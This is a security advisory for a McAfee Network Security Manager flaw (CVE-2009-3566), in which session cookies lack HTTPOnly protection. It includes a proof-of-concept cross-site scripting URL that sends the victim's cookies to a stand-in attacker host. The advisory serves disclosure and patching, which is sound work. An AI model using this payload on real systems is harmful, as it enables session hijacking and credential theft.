McAfee Network Security Manager Information Disclosure Vulnerability

Bugtraq ID:	37004
Class:	Origin Validation Error
CVE:	CVE-2009-3566
Remote:	Yes
Local:	No
Published:	Nov 06 2009 12:00AM
Updated:	Nov 12 2009 03:56PM
Credit:	Daniel King
Vulnerable:	McAfee Network Security Manager 5.1.7 .7
Not Vulnerable:	McAfee Network Security Manager 5.1.11 .8.1

McAfee Network Security Manager Information Disclosure Vulnerability

McAfee Network Security Manager is prone to an information-disclosure vulnerability because it fails to properly protect sensitive cookie data with the 'HTTPOnly' protection mechanism.

A successful exploit may allow attackers to steal cookie-based authentication credentials; information harvested may aid in further attacks.

This issue affects McAfee Network Security Manager 5.1.7.7; other versions may also be affected.

McAfee Network Security Manager Information Disclosure Vulnerability

To exploit this issue, an attacker must entice an unsuspecting user to view a malicious webpage.

The following proof of concept uses a cross-site scripting attack to leverage this issue:

https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb1
4%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57

McAfee Network Security Manager Information Disclosure Vulnerability

Solution:
The vendor has released an advisory and updates. Please see the references for details.

McAfee Network Security Manager Information Disclosure Vulnerability

References:

• McAfee Network Security Manager (McAfee)
  
• SecureWorks Security Advisory SWRX-2009-002 (SecureWorks)
  
• [SWRX-2009-002] McAfee Network Security Manager Authentication Bypass and Sessio ([email protected])
  
• McAfee Security Bulletin - Intrushield NSM update fixes Session Hijacking flaw (McAfee)